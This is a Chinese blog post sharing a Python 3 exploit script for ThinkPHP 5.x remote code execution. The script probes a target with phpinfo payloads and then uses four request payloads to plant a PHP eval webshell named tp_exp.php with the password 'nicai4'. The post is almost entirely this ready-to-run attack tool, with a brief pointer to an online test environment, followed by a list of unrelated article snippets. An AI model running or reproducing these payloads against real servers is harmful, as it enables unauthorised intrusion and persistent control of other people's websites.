python3编写ThinkPHP命令执行Getshell的方法
作者:nosafer 发布时间:2023-10-04 14:17:15
标签:python3,ThinkPHP,Getshell
加了三个验证漏洞以及四个getshell方法
# /usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: Morker
# @Email: [email]admin@nsf.me[/email]
# @Blog: [url]http://nsf.me/[/url]
import requests
import sys
def demo():
print(' _______ _ _ _ _____ _ _ _____ ')
print(' |__ __| | (_) | | | __ \| | | | __ \ ')
print(' | | | |__ _ _ __ | | _| |__) | |__| | |__) |')
print(''' | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')
print(' | | | | | | | | | | <| | | | | | | ')
print(' |_| |_| |_|_|_| |_|_|\_\_| |_| |_|_| ')
print()
print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')
print('\tRemote command execution exploit.')
print('\tVulnerability verification and getshell.')
print('\tTarget: http://target/public')
print()
class ThinkPHP():
def __init__(self,web):
self.web = web
self.headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",
"Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding" : "gzip, deflate",
"Content-Type" : "application/x-www-form-urlencoded",
"Connection" : "keep-alive"
}
def verification(self):
i = 0
s = 0
verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1']
while True:
if i == len(verifications):
break
else:
url = self.web + verifications[i]
req = requests.get(url=url,headers=self.headers)
if 'phpinfo()' in req.text:
s = 1
break
else:
s = 0
i += 1
if s == 1:
print("[+] There are vulnerabilities.")
print()
toshell = input("[*] Getshell? (y/n):")
if toshell == 'y':
self.getshell()
elif toshell == 'n':
sys.exit()
else:
sys.exit()
else:
print("[-] There are no vulnerabilities.")
def getshell(self):
getshells = [
'?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>',
'?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php',
'?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php',
'?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>']
shell = self.web + '/tp_exp.php'
i = 0
s = 0
while True:
if i == len(getshells):
break
else:
url = self.web + getshells[i]
req = requests.get(url=url,headers=self.headers)
req_shell = requests.get(url=shell,headers=self.headers)
if req_shell.status_code == 200:
s = 1
break
else:
s = 0
i += 1
if s == 1:
print("[+] WebShell :%s PassWord :nicai4" % shell)
else:
print("[-] The vulnerability does not exist or exists waf.")
def main():
demo()
url = input("[*] Please input your target: ")
run = ThinkPHP(url)
run.verification()
if __name__ == '__main__':
main()
注:图中的测试网址为在线漏洞环境,可自己去在线搭建测试。
环境地址:https://www.vsplate.com/
效果图:
来源:https://bbs.ichunqiu.com/thread-48729-1-1.html


猜你喜欢
- 1.查询高于平均价格的商品名称:SELECT item_name FROM ebsp.product_mark
- 本文实例讲述了JS实现简易图片轮播效果的方法。分享给大家供大家参考。具体如下:这里使用JS制作简易图片轮播效果:制作比较粗糙,使用的图片是w
- 在matlab中,存在执行直接得函数来添加高斯噪声和椒盐噪声。Python-OpenCV中虽然不存在直接得函数,但是很容易使用相关的函数来实
- MySQL由于它本身的小巧和操作的高效, 在数据库应用中越来越多的被采用.我在开发一个P2P应用的时候曾经使用MySQL来保存P2P节点,由
- 导言在前面我们学习了如何创建item级的DataList。和可编辑的GridView一样,每个DataList里的item都包含一个Edit
- CSS 3 + HTML 5 是未来的 Web,它们都还没有正式到来,虽然不少浏览器已经开始对它们提供部分支持。本文介绍了 5 个 CSS3
- CREATE TABLE `category` ( `Id` binary(1
- 当来自应用程序的第一个连接控制锁而第二个连接需要相冲突的锁类型时,将发生阻塞。其结果是强制第二个连接等待,而在第一个连接上阻塞。不管是来自同
- 是在客户端确认还是在服务器端确认? <SCRIPT LANGUAGE="VBSc
- 文件名字处理文件名字得看业务要求。不需要保留原始名字,则随机生成名字,拼接上白名单校验过的后缀即可。反之要谨慎处理://允许上传的后缀白名单
- 本文实例讲述了php下pdo的mysql事务处理用法。分享给大家供大家参考。具体分析如下:php+mysql事务处理的几个步骤:1.关闭自动
- 最近用layer ui上传文件遇到了一个问题,我想在上传文件之前把data-id传入后台,layer文档找了一下也没有找到类似的说明,经过一
- golang sort package: https://studygolang.com/articles/3360sort 操作的对象通常
- 这是为了实现一个效果,而提前作的测试代码!看起来很简单的一个东西,到这会,大约四个小时过去了。不知道是IE6的BUG;还是我自已的BUG!有
- 这段时间服务器崩溃2次,一直没有找到原因,今天看到论坛发出的错误信息邮件,想起可能是MySQL的默认连接数引起的问题,一查果然,老天,默认
- 我们经常见到很多网站留言系统的显示访客的IP地址都是隐藏了一部分,以达到隐蔽访客真实地理位置的功能。如:111.222.333.*,当然在系
- 如何显示随机信息?使用了asp的randomize来创造随机数,select case来显示自定义信息。具体代码如下:<html>
- ASP实现即时显示当前页面浏览人数online.asp文件 <!--#include file="dbconn.a
- asp之家注:学习asp网页编程的朋友一定用过ACCESS数据库,access的简单方便,大大降低了asp初学者学习asp的门槛,对于学习a
- 这片文章大体概括了一些设计网页中的大问题。希望能给你做下一个网页时给予一些儿启发。1、记住:你能掌控的时间是有限的我仅仅用4秒钟就能浏览完平